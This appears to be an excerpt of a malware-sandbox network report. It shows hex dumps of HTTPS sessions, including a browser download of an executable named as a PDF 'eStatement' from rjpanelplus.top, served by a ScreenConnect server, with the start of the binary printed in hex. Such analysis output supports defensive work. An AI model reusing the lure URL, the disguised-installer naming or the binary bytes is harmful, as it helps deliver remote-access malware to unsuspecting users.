                                                                                                              Data Ascii: Q`1_y:=q|uRlw_o+\d/.G# ?@\]L,w=2Ak)^:e|y;<PkEujdbs/<:0zHZ%$[O= `G*T rA`Bh`Ar|/j]5=
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: d8 c2 cc 98 4b fb 42 98 b3 7c 47 95 de f0 ff 9d 35 8a a0 19 ee 2c fd 2c 8e 0f d6 ee 05 41 03 bf 00 f4 ad b2 22 19 99 3a d2 94 b5 f5 ba 4c 99 34 e5 fb 92 69 3e fc 93 85 f7 b7 08 ab 7e e9 7c 1a 30 81 59 e3 06 e1 bb 74 1b eb 76 57 ed 64 1d 19 3a 0d ff 65 3b 88 0c 9d 4e 7f 07 2b 26 05 6e d4 30 a3 2b 4d e7 03 26 85 e0 ee 62 4f 2f 6b 73 12 cf a5 d7 28 7c ac ba 18 19 1a 90 75 74 35 c1 eb 62 34 1c d6 ca 73 22 32 80 3b 45 77 f1 98 b5 5a 6d bf ad 95 39 fd 1d ac 44 8d 5f c9 24 cf 7e 6c 59 fa 36 9f 7f 75 82 69 c1 5b 00 ee 23 a4 57 ed 5d af 37 21 23 53 cf d4 65 01 9e 47 81 2c d4 65 6a c2 3f 35 ce fb 5b 04 e1 a3 13 19 3a 8d 89 ee 4e 8c f2 ff 54 9a 75 0c 10 b4 e1 8a e6 b6 0b 8b 8a 89 39 76 1e 0b 33 63 22 43 a6 b1 b5 f7 29 e6 ac d8 a9 76 bc 43 3b 03 82 7d bd 88 3d 7e 41
                                                                                                              Data Ascii: KB|G5,,A":L4i>~|0YtvWd:e;N+&n0+M&bO/ks(|ut5b4s"2;EwZm9D_$~lY6ui[#W]7!#SeG,ej?5[:NTu9v3c"C)vC;}=~A
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 95 d8 7a 05 6a 75 4a 9b e7 e3 c6 d5 83 1f 31 f2 35 87 fa 68 77 bd 32 f2 35 07 ae 1e fc 98 79 3e 6e 15 9e e3 ec 60 8d b3 83 35 5b 43 a6 d1 cb da 1c 5b af 40 9c fb 58 e3 ee 62 87 bb 8b 1d 91 a1 d3 2a 7c 4e d3 82 37 d3 f2 5f 2d 88 f8 60 22 08 79 03 1c 01 ff 86 b8 17 19 19 19 19 19 81 c7 59 78 87 01 3a 6f 0c fe 37 33 df 72 c5 2f 64 3b bf de fc 5d e3 a4 ca 72 82 3b f7 b1 16 f3 93 fb 04 68 2e e2 d1 cd bc 23 87 36 bc c7 ca f7 c6 d4 6b c3 1b 82 95 ef 8d e1 d0 86 f7 e8 66 fe b4 c6 b1 c4 94 74 7c 3c 9d 18 d0 c7 1a e7 89 21 e2 7d 7a 0e ec cd 9d a2 bb 38 fb 84 54 e8 98 57 f4 f7 3d 7c 97 6e 63 a2 bb 13 13 85 dc ed 3a 80 f6 15 52 64 64 64 64 64 ea 85 c7 55 78 c7 01 06 6d f4 f5 58 f5 fe 18 3e df 7b 82 2f be d1 f4 a3 72 76 b0 aa 70 71 11 10 c2 ab 2a 3a 3e 6e 98 23 3f c5
                                                                                                              Data Ascii: zjuJ15hw25y>n`5[C[@Xb*|N7_-`"yYx:o73r/d;]r;h.#6kft|<!}z8TW=|nc:RdddddUxmX>{/rvpq*:>n#?
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 47 ce 8d df c5 ed 87 6b bf f2 d5 e1 73 00 2c 7a 7b 04 01 d3 86 d3 d6 a0 75 95 e5 0f 7e f5 25 e6 f9 b8 b1 2a 32 be ca 73 9d 1d ac 59 ec eb 89 b3 83 35 97 af e6 e0 e3 d1 4f 9c fb fe f1 da 6f 7c 7d 32 95 a9 23 9d 89 3f 75 19 e0 c5 6a dd a0 8c 8c 8c 8c 4c 95 3c 0e c2 fb 7d 80 b6 06 7a 4c 19 e9 cc 8c 25 5b 35 4e b0 b5 32 c7 c3 d5 5e 23 b4 09 04 21 58 de 2c fc bc 45 c7 1a a5 3c 2d 2c 2a 66 c9 ba 18 71 81 93 fe 0e 56 f8 7b 0f c1 c3 d5 9e af 13 2f 71 35 eb 26 6d 0c 5a f3 f3 af b7 58 15 19 cf a8 41 0e a4 ff 92 c7 c9 94 74 ae e5 dc e2 ee bd 12 5e ec f6 2c cb e6 8c 66 68 7f db 0a eb 59 b1 f9 6b 00 82 df f1 64 71 05 a6 7e 25 df 7d ff 33 3b bf 4e e6 8b 43 67 59 f6 f9 7e 0e 9d be 4c a8 ff 68 86 54 e3 83 64 e5 7b 63 38 90 78 89 9f b2 6e 88 fb 94 1f 0b a9 19 d9 6a 42 7b
                                                                                                              Data Ascii: Gks,z{u~%*2sY5Oo|}2#?ujL<}zL%[5N2^#!X,E<-,*fqV{/q5&mZXAt^,fhYkdq~%}3;NCgY~LhTd{c8xnjB{
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 59 14 4b 24 73 c3 00 8e b6 dd f8 76 c7 87 dc 3e f3 19 c7 36 2f 64 dc 30 47 3e 9a 3f 86 ab 07 3f 16 05 f7 7b 2b 77 33 c0 27 94 5f 6f fe 8e 87 ab 3d 61 0b c7 93 ba 2f 84 89 ee 4e 62 c6 b8 49 81 1b 85 14 b0 91 81 b8 bb d8 53 58 54 cc a4 c0 cf 01 98 35 6e 10 63 87 be 0c c0 e8 b9 6b 49 f9 e1 17 2a a3 3a cf 44 8a 8f 87 13 fd 7b ab 3f e3 c3 a7 bf e7 b5 57 44 67 f3 2e 35 2a b0 e6 7c 0a e4 03 cb 81 17 80 b6 08 83 ba 36 4d 50 47 71 ac ad e2 dc 6f 50 44 2e 34 53 c2 81 01 60 d2 6a 5e c4 27 dc bd 12 c5 c3 ef b7 f0 4b 84 1b 8a 49 1a 23 e0 d2 a3 6c 60 3d f2 4f ee e7 a6 88 0f d0 09 e7 89 5c 3c 1b c5 c3 2b 51 3c 3c bd 94 70 67 40 78 fe 43 2a b9 56 a6 16 34 e7 39 6f 33 40 0f c0 a5 4f 0f 42 36 ee 17 0f 28 9d a6 a4 de e5 5b 43 a6 e1 e3 e1 c4 e5 ab 39 5c 4a cf 16 4d de 4a dc
                                                                                                              Data Ascii: YK$sv>6/d0G>??{+w3'_o=a/NbISXT5nckI*:D{?WDg.5*|6MPGqoPD.4S`j^'KI#l`=O\<+Q<<pg@xC*V49o3@OB6([C9\JMJ
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 66 cc e5 ab 39 64 e7 15 60 ae 88 31 3f 99 92 41 d8 c2 f1 6a 6d 3f ff 63 a6 74 1a a0 3e e7 bd c3 01 07 30 61 de d6 77 98 67 a7 6e 09 bd 77 2b 9b 84 a4 54 e2 2f e4 71 5b b2 df f2 05 1b 1c ad bb e1 68 63 82 51 79 6d ad f9 e2 07 58 42 fe c0 55 be 73 5b ad d2 3c 5e 80 b0 0e 40 73 44 ee e7 a6 4d 24 f0 3e 89 db 3a d9 f5 dd 56 fe 58 29 10 a3 ed a2 4d eb 16 31 45 39 2c 68 0e e3 32 95 d0 9c 85 f7 53 00 2f 3d ff 2c df 5e fa 49 e3 60 56 6e 81 98 f1 4c 89 8f 87 13 fd 15 a9 3c a5 b8 be dc b3 ca ca 94 89 47 26 ba 3b 89 4e 6f eb f6 08 1a eb 84 11 af f2 6c c7 27 00 41 78 03 bc 3d ca 99 99 6f b9 02 30 7a ce 5a 00 26 79 f6 13 05 f7 92 88 68 12 53 32 88 0b 9f c3 86 c5 93 19 fb fe 3a 0e 7f fb 03 87 bf fd 81 b9 13 5f 67 c1 d4 61 cc f6 1e 8c 5b 3f 1b dc 66 ac e4 7a ce 2d f6 c4
                                                                                                              Data Ascii: f9d`1?Ajm?ct>0awgnw+T/q[hcQymXBUs[<^@sDM$>:VX)M1E9,h2S/=,^I`VnL<G&;Nol'Ax=o0zZ&yhS2:_ga[?fz-
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 8a 5e 08 21 92 c7 81 31 55 94 2d 2d 7f 2f c2 33 af 69 df 2a a9 ee 75 e1 c0 64 b4 bf 73 5d 10 de 0f 6d c7 94 1e e2 95 5d 7b 15 18 a9 a5 7e 6d 68 7b 16 46 15 ec 3f 46 e5 02 7c 31 42 02 19 6d d7 b7 a6 19 0b f0 e6 3a e7 6d 01 60 f6 74 07 4a cb ca c8 fb df ed 2a 4e af 18 2b 4b d3 4a 8f 4b b5 6e e5 5c b7 52 c3 1e fc ca 8b bc f6 ca 8b 14 df 2b 21 7c e7 51 00 7a 59 9b 33 a0 8f 70 de 4f 59 37 19 3b cc 91 99 6f 0a 73 df b7 7e bf c3 c5 f4 2c 9c 1d ac 99 e8 e1 84 41 6b cd 24 58 e1 41 13 f1 1a e4 40 d4 fe d3 62 bc f6 c6 af 4e a0 a3 d3 92 88 a0 89 ac ff 70 12 33 de 74 c5 b0 8d 3e ed da b4 e6 7e 49 29 7a ad 74 38 11 19 00 40 ce 8d df b9 fd e7 df 74 68 d7 06 0b 33 63 6c ba 77 e6 f2 d5 1c b6 c5 9d c6 7f c2 10 7c 3c 9c 08 8e 88 26 3b 4f 98 b3 0e f6 f5 62 ea 48 67 3e db 73
                                                                                                              Data Ascii: ^!1U--/3i*uds]m]{~mh{F?F|1Bm:m`tJ*N+KJKn\R+!|QzY3pOY7;os~,Ak$XA@bNp3t>~I)zt8@th3clw|<&;ObHg>s
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: c8 c7 ef 9c 34 a2 c0 84 97 3d 45 99 ad 9c ca 29 cf 42 a0 3b f4 c0 f7 05 89 ae 90 73 8d cd c9 e2 af ef eb e1 ae 1e 09 cd 55 78 eb 03 18 b6 d1 a7 e8 af bb 75 2a c8 d8 a8 ad d6 fd da b4 ee e5 9b 0e 88 5a f7 3c 1f c1 3b bc ad 41 6b 4e 44 06 30 e3 4d 97 4a 04 6d 04 d7 87 4c e2 ce 01 75 87 b0 b2 c2 22 6e 86 44 70 f7 b2 b0 94 67 49 76 1e 57 fb 8e a2 ac f0 4f 5a 75 36 25 f3 cd 77 c9 0f d7 4c 9a 7f e7 40 02 37 43 d7 93 1f 51 fd 84 fa c1 be 5e e2 7d 18 19 1a a8 92 b6 ac 13 3e 50 6c ba 77 e6 6d 85 b6 7d 31 2d 8b f0 9d 47 34 ca a8 e8 59 55 97 a2 bf ee 62 d8 56 5f f9 53 bf b2 73 ab 49 01 70 05 20 61 ed 31 12 a4 b3 27 86 e6 f8 7e 1a 4e f2 02 d1 54 a6 83 b0 da d5 df 54 7f 70 7f 1f 70 07 f4 2d fd 17 b3 73 9c b9 c4 d3 f9 01 99 17 4f 12 e4 1b 44 8b 97 26 a3 ef 30 19 7d 3b
                                                                                                              Data Ascii: 4=E)B;sUxu*Z<;AkND0MJmLu"nDpgIvWOZu6%wL@7CQ^}>Plwm}1-G4YUbV_SsIp a1'~NTTpp-sOD&0};
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 96 05 10 12 9d 86 2a 30 b8 52 d3 b9 07 f0 1c f4 67 dc 0b a2 9f 0d f7 32 52 51 b8 10 94 02 47 ab d1 e6 26 4b b3 16 de f5 85 32 17 f7 b6 b8 24 2c 5f 9b c3 b6 b8 24 71 d5 30 23 43 03 d6 ef 39 ce ae 83 c9 0c 79 f5 25 e2 3f 9b 8f 75 97 ca 3d d4 6b 8b 52 50 e7 4c 0f 22 ad c7 60 fe 3a 95 42 2b 73 f5 ba ee 1c 48 50 13 ea e5 4d f1 35 21 6c e1 78 71 c9 50 e5 fc fe d0 fe b6 ac 0d 9c 00 40 f0 ba 18 46 f8 7e 22 26 75 a9 c9 da e8 8d cc 47 c0 c7 40 41 66 fc 36 ec 46 af 67 d5 39 45 6e 6f 09 ad 8d cd 85 c1 fd c8 62 36 8d 33 07 55 e8 53 38 ea f3 94 00 0e c0 d3 30 86 91 36 92 8f 96 8c 93 8c 5b 2b 7e b9 e7 21 f8 5f 28 bd 10 0b 80 45 08 21 33 59 10 cf d4 2f ae ab da d1 d2 1c 97 69 e2 18 6c a4 a8 03 3c dd 70 91 f8 20 de 4c da 85 eb 16 71 a0 fc a5 5c 1d 20 08 8f 21 08 99 ea 94
                                                                                                              Data Ascii: *0Rg2RQG&K2$,_$q0#C9y%?u=kRPL"`:B+sHPM5!lxqP@F~"&uG@Af6Fg9Enob63US806[+~!_(E!3Y/il<p Lq\ !


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              9192.168.2.1649724194.59.31.1994436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:54:01 UTC821OUTGET /Bin/Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe?e=Access&y=Guest&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&i=Amazon HTTP/1.1
                                                                                                              Host: rjpanelplus.top
                                                                                                              Connection: keep-alive
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Upgrade-Insecure-Requests: 1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                              Sec-Fetch-Site: cross-site
                                                                                                              Sec-Fetch-Mode: navigate
                                                                                                              Sec-Fetch-Dest: document
                                                                                                              Referer: https://electroagrotech.com.ua/
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:54:02 UTC233INHTTP/1.1 200 OK
                                                                                                              Cache-Control: private
                                                                                                              Content-Length: 5622768
                                                                                                              Content-Type: application/octet-stream
                                                                                                              Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0
                                                                                                              Date: Wed, 27 Nov 2024 15:54:02 GMT
                                                                                                              Connection: close
                                                                                                              2024-11-27 15:54:02 UTC16151INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 5f 0e e5 45 3e 60 b6 45 3e 60 b6 45 3e 60 b6 f1 a2 91 b6 4f 3e 60 b6 f1 a2 93 b6 3f 3e 60 b6 f1 a2 92 b6 5d 3e 60 b6 c5 45 65 b7 60 3e 60 b6 c5 45 64 b7 54 3e 60 b6 c5 45 63 b7 51 3e 60 b6 4c 46 f3 b6 41 3e 60 b6 5b 6c f3 b6 46 3e 60 b6 45 3e 61 b6 25 3e 60 b6 cb 45 69 b7 44 3e 60 b6 cb 45 9f b6 44 3e 60 b6 cb 45 62 b7 44 3e 60 b6 52 69 63 68 45 3e 60 b6 00 00 00 00 00 00 00
                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$_E>`E>`E>`O>`?>`]>`Ee`>`EdT>`EcQ>`LFA>`[lF>`E>a%>`EiD>`ED>`EbD>`RichE>`
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: dd 40 00 6a 00 ff 15 c4 d0 40 00 85 c0 74 23 56 68 44 dd 40 00 ff 75 f8 ff 15 1c d0 40 00 8b f0 85 f6 74 0d ff 75 08 8b ce ff 15 3c d1 40 00 ff d6 5e 83 7d f8 00 74 09 ff 75 f8 ff 15 a0 d0 40 00 8b 4d fc 33 cd e8 fc c6 ff ff 8b e5 5d c3 8b ff 55 8b ec 8b 45 08 a3 10 4d 41 00 5d c3 6a 01 6a 02 6a 00 e8 de fd ff ff 83 c4 0c c3 6a 01 6a 00 6a 00 e8 cf fd ff ff 83 c4 0c c3 8b ff 55 8b ec 6a 00 6a 02 ff 75 08 e8 ba fd ff ff 83 c4 0c 5d c3 8b ff 55 8b ec a1 00 40 41 00 83 e0 1f 6a 20 59 2b c8 33 c0 d3 c8 33 05 00 40 41 00 39 05 10 4d 41 00 0f 85 b8 06 00 00 ff 75 08 e8 9f f6 ff ff 59 a3 10 4d 41 00 5d c3 8b ff 55 8b ec 6a 00 6a 00 ff 75 08 e8 6c fd ff ff 83 c4 0c 5d c3 8b ff 55 8b ec 8b 45 08 3d 00 40 00 00 74 23 3d 00 80 00 00 74 1c 3d 00 00 01 00 74 15 e8 e0
                                                                                                              Data Ascii: @j@t#VhD@u@tu<@^}tu@M3]UEMA]jjjjjjUjju]U@Aj Y+33@A9MAuYMA]Ujjul]UE=@t#=t=t
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: ff ff 83 c4 08 85 c0 8b 85 08 ff ff ff 7e db 8b bd ec fe ff ff 89 b5 f4 fe ff ff 8b b5 00 ff ff ff eb 06 8d 9b 00 00 00 00 8b 95 04 ff ff ff 2b fa 3b fb 76 19 53 57 8b ce ff 15 3c d1 40 00 ff d6 83 c4 08 85 c0 7f e1 8b 95 04 ff ff ff 8b b5 f4 fe ff ff 89 bd ec fe ff ff 3b fe 72 5e 89 95 e8 fe ff ff 89 bd e4 fe ff ff 3b f7 74 33 8b de 8b d7 8b b5 e8 fe ff ff 2b df 8a 02 8d 52 01 8a 4c 13 ff 88 44 13 ff 88 4a ff 83 ee 01 75 eb 8b b5 f4 fe ff ff 8b 9d f0 fe ff ff 8b 95 04 ff ff ff 8b 85 08 ff ff ff 3b df 0f 85 fa fe ff ff 8b de 89 9d f0 fe ff ff e9 ed fe ff ff 03 fa 3b df 73 32 8d a4 24 00 00 00 00 2b fa 3b fb 76 25 8b 8d 00 ff ff ff 53 57 ff 15 3c d1 40 00 ff 95 00 ff ff ff 8b 95 04 ff ff ff 83 c4 08 85 c0 74 d9 3b df 72 2f 8b b5 00 ff ff ff 2b fa 3b bd fc
                                                                                                              Data Ascii: ~+;vSW<@;r^;t3+RLDJu;;s2$+;v%SW<@t;r/+;
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 64 65 6c 65 74 65 20 63 6c 6f 73 75 72 65 27 00 00 60 70 6c 61 63 65 6d 65 6e 74 20 64 65 6c 65 74 65 5b 5d 20 63 6c 6f 73 75 72 65 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 64 79 6e 61 6d 69 63 20 61 74 65 78 69
                                                                                                              Data Ascii: delete closure'`placement delete[] closure'`managed vector constructor iterator'`managed vector destructor iterator'`eh vector copy constructor iterator'`eh vector vbase copy constructor iterator'`dynamic initializer for '`dynamic atexi
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 3f 00 00 00 00 78 f5 d3 3f 00 00 00 00 80 ba d3 3f 00 00 00 00 80 ba d3 3f 00 00 00 00 00 83 d3 3f 00 00 00 00 00 83 d3 3f 00 00 00 00 f8 4e d3 3f 00 00 00 00 f8 4e d3 3f 00 00 00 00 78 17 d3 3f 00 00 00 00 78 17 d3 3f 00 00 00 00 70 e3 d2 3f 00 00 00 00 70 e3 d2 3f 00 00 00 00 e0 b2 d2 3f 00 00 00 00 e0 b2 d2 3f 00 00 00 00 d8 7e d2 3f 00 00 00 00 d8 7e d2 3f 00 00 00 00 48 4e d2 3f 00 00 00 00 48 4e d2 3f 00 00 00 00 b8 1d d2 3f 00 00 00 00 b8 1d d2 3f 00 00 00 00 a0 f0 d1 3f 00 00 00 00 a0 f0 d1 3f 00 00 00 00 88 c3 d1 3f 00 00 00 00 88 c3 d1 3f 00 00 00 00 70 96 d1 3f 00 00 00 00 70 96 d1 3f 00 00 00 00 58 69 d1 3f 00 00 00 00 58 69 d1 3f 00 00 00 00 b8 3f d1 3f 00 00 00 00 b8 3f d1 3f 00 00 00 00 a0 12 d1 3f 00 00 00 00 a0 12 d1 3f 00 00 00 00 00 e9
                                                                                                              Data Ascii: ?x?????N?N?x?x?p?p???~?~?HN?HN???????p?p?Xi?Xi???????
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 06 2c 06 06 6f 10 00 00 0a dc 12 03 fe 15 8e 00 00 1b 09 2a 08 2a 00 00 00 01 10 00 00 02 00 07 00 20 27 00 0a 00 00 00 00 1e 02 73 cb 00 00 0a 2a 13 30 03 00 48 00 00 00 11 00 00 11 73 cc 00 00 0a 0a 06 02 75 b3 00 00 1b 7d cd 00 00 0a 06 7b cd 00 00 0a 2d 0c 02 73 cb 00 00 0a 28 ce 00 00 0a 2a 06 7b cd 00 00 0a 6f c6 00 00 0a 8d 8e 00 00 1b 06 fe 06 cf 00 00 0a 73 d0 00 00 0a 28 09 00 00 2b 2a 22 02 14 28 0a 00 00 2b 2a 22 02 03 73 d1 00 00 0a 2a 3e 1f fe 73 d2 00 00 0a 25 02 7d d3 00 00 0a 2a 00 00 13 30 02 00 25 00 00 00 12 00 00 11 73 d4 00 00 0a 0a 06 02 7d d5 00 00 0a 06 7b d5 00 00 0a 75 b4 00 00 1b 0b 07 2c 02 07 2a 06 6f d6 00 00 0a 2a 5a 1f fe 73 d7 00 00 0a 25 02 7d d8 00 00 0a 25 03 7d d9 00 00 0a 2a 5a 1f fe 73 da 00 00 0a 25 02 7d db 00 00
                                                                                                              Data Ascii: ,o** 's*0Hsu}{-s(*{os(+*"(+*"s*>s%}*0%s}{u,*o*Zs%}%}*Zs%}
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 00 04 2a 22 02 03 7d a0 01 00 04 2a 1e 02 7b a1 01 00 04 2a 22 02 03 7d a1 01 00 04 2a 8e 0f 00 28 0e 03 00 06 0f 01 28 0e 03 00 06 33 11 0f 00 28 10 03 00 06 0f 01 28 10 03 00 06 fe 01 2a 16 2a 2e 02 03 28 12 03 00 06 16 fe 01 2a 92 0f 00 28 0e 03 00 06 0f 01 28 0e 03 00 06 58 0f 00 28 10 03 00 06 0f 01 28 10 03 00 06 58 73 0d 03 00 06 2a 92 0f 00 28 0e 03 00 06 0f 01 28 0e 03 00 06 59 0f 00 28 10 03 00 06 0f 01 28 10 03 00 06 59 73 0d 03 00 06 2a 5a 0f 00 28 0e 03 00 06 65 0f 00 28 10 03 00 06 65 73 0d 03 00 06 2a 92 02 28 0e 03 00 06 6c 02 28 10 03 00 06 6c 0f 01 28 0e 03 00 06 6c 0f 01 28 10 03 00 06 6c 28 68 05 00 06 2a 00 00 13 30 02 00 32 00 00 00 5a 00 00 11 03 75 c4 00 00 02 2d 02 16 2a 03 a5 c4 00 00 02 0a 12 00 28 0e 03 00 06 02 28 0e 03 00 06
                                                                                                              Data Ascii: *"}*{*"}*((3((**.(*((X((Xs*((Y((Ys*Z(e(es*(l(l(l(l(h*02Zu-*((
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 00 85 00 00 11 02 03 12 00 6f ff 02 00 0a 2d 02 04 2a 06 2a 00 13 30 03 00 25 00 00 00 75 00 00 11 02 d0 8e 00 00 1b 28 3c 01 00 0a 12 00 6f 7e 03 00 0a 2d 0a 12 01 fe 15 8e 00 00 1b 07 2a 06 a5 8e 00 00 1b 2a 00 00 00 13 30 03 00 1c 00 00 00 9d 00 00 11 02 03 12 00 6f ff 02 00 0a 2c 07 06 73 7f 03 00 0a 2a 12 01 fe 15 91 01 00 1b 07 2a 13 30 03 00 2b 00 00 00 9e 00 00 11 02 d0 8e 00 00 1b 28 3c 01 00 0a 12 00 6f 7e 03 00 0a 2c 0d 03 06 a5 8e 00 00 1b 6f eb 00 00 0a 2a 12 01 fe 15 8f 00 00 1b 07 2a 00 13 30 03 00 21 00 00 00 2a 00 00 11 02 d0 8e 00 00 1b 28 3c 01 00 0a 12 00 6f 7e 03 00 0a 2c 0c 03 06 a5 8e 00 00 1b 6f 80 03 00 0a 2a 6a 03 75 8e 00 00 1b 2c 11 02 d0 8e 00 00 1b 28 3c 01 00 0a 03 6f 81 03 00 0a 2a 62 02 71 8e 00 00 1b 03 04 28 a3 00 00 2b
                                                                                                              Data Ascii: o-**0%u(<o~-**0o,s**0+(<o~,o**0!*(<o~,o*ju,(<o*bq(+
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 25 08 7b df 06 00 04 7d c5 06 00 04 25 08 7b e0 06 00 04 7d c6 06 00 04 25 03 7d c7 06 00 04 25 08 7b e2 06 00 04 6e 7d c8 06 00 04 6f a9 04 00 0a 07 17 58 0b 07 06 7b ce 06 00 04 3f cf fe ff ff 2a 52 02 20 ff 81 00 00 03 04 14 73 c9 05 00 06 28 e3 05 00 06 2a 00 00 13 30 04 00 81 00 00 00 f1 00 00 11 03 6f cc 05 00 06 7e f0 06 00 04 25 2d 17 26 7e ee 06 00 04 fe 06 c4 0f 00 06 73 9f 02 00 0a 25 80 f0 06 00 04 28 f9 00 00 2b 25 2d 06 26 7e 98 01 00 0a 0a 03 6f ca 05 00 06 20 00 40 00 00 5f 2c 09 12 00 1f 2f 28 de 04 00 06 73 c0 0f 00 06 25 06 7d bb 06 00 04 25 03 6f ca 05 00 06 1f 10 62 7d c2 06 00 04 0b 02 07 03 6f ce 05 00 06 28 e4 05 00 06 02 7b ce 01 00 04 07 6f a9 04 00 0a 2a 00 00 00 13 30 03 00 67 00 00 00 f2 00 00 11 04 28 3e 05 00 06 0a 03 14 7d
                                                                                                              Data Ascii: %{}%{}%}%{n}oX{?*R s(*0o~%-&~s%(+%-&~o @_,/(s%}%ob}o({o*0g(>}
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 01 00 06 2a 00 13 30 02 00 23 00 00 00 f2 00 00 11 03 6f f5 01 00 06 2c 0c 02 03 6f f8 01 00 06 6f 2e 09 00 06 03 28 28 09 00 06 0a 03 06 6f ee 01 00 06 2a 4e 02 2c 0b 02 03 28 48 05 00 0a 2c 02 17 2a 03 14 51 16 2a 00 13 30 02 00 0b 00 00 00 35 01 00 11 02 12 00 28 39 09 00 06 26 06 2a 00 13 30 04 00 21 00 00 00 35 01 00 11 02 12 00 28 39 09 00 06 2c 0b 17 8d 46 00 00 01 25 16 06 a2 2a 02 28 49 05 00 0a 6f 4a 05 00 0a 2a 32 02 28 3b 09 00 06 28 3c 01 00 2b 2a 00 00 1b 30 04 00 53 00 00 00 36 01 00 11 03 20 ff 2f 00 00 73 4b 05 00 0a 0a 7e 4c 05 00 0a 1f 09 73 4b 05 00 0a 0b 06 6f 4d 05 00 0a 18 1f 11 73 ae 01 00 0a 0c 08 06 6f 4e 05 00 0a 08 20 ff ff 00 00 1f 20 17 6f 4f 05 00 0a 08 02 07 6f 50 05 00 0a 26 de 0a 08 2c 06 08 6f 10 00 00 0a dc 2a 00 01 10
                                                                                                              Data Ascii: *0#o,oo.((o*N,(H,*Q*05(9&*0!5(9,F%*(IoJ*2(;(<+*0S6 /sK~LsKoMsoN oOoP&,o*


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              10192.168.2.16497264.245.163.56443
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:54:33 UTC306OUTGET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=adpkDWHB2uxHAK4&MD=6++8HOfL HTTP/1.1
                                                                                                              Connection: Keep-Alive
                                                                                                              Accept: */*
                                                                                                              User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
                                                                                                              Host: slscr.update.microsoft.com
                                                                                                              2024-11-27 15:54:34 UTC560INHTTP/1.1 200 OK
                                                                                                              Cache-Control: no-cache
                                                                                                              Pragma: no-cache
                                                                                                              Content-Type: application/octet-stream
                                                                                                              Expires: -1
                                                                                                              Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
                                                                                                              ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440"
                                                                                                              MS-CorrelationId: 957cf877-b059-4e06-add4-e6024ef93558
                                                                                                              MS-RequestId: fce2d929-5dc9-4490-8858-013f4144d8b6
                                                                                                              MS-CV: 06ok+vexx0Os9aTG.0
                                                                                                              X-Microsoft-SLSClientCache: 1440
                                                                                                              Content-Disposition: attachment; filename=environment.cab
                                                                                                              X-Content-Type-Options: nosniff
                                                                                                              Date: Wed, 27 Nov 2024 15:54:33 GMT
                                                                                                              Connection: close
                                                                                                              Content-Length: 30005
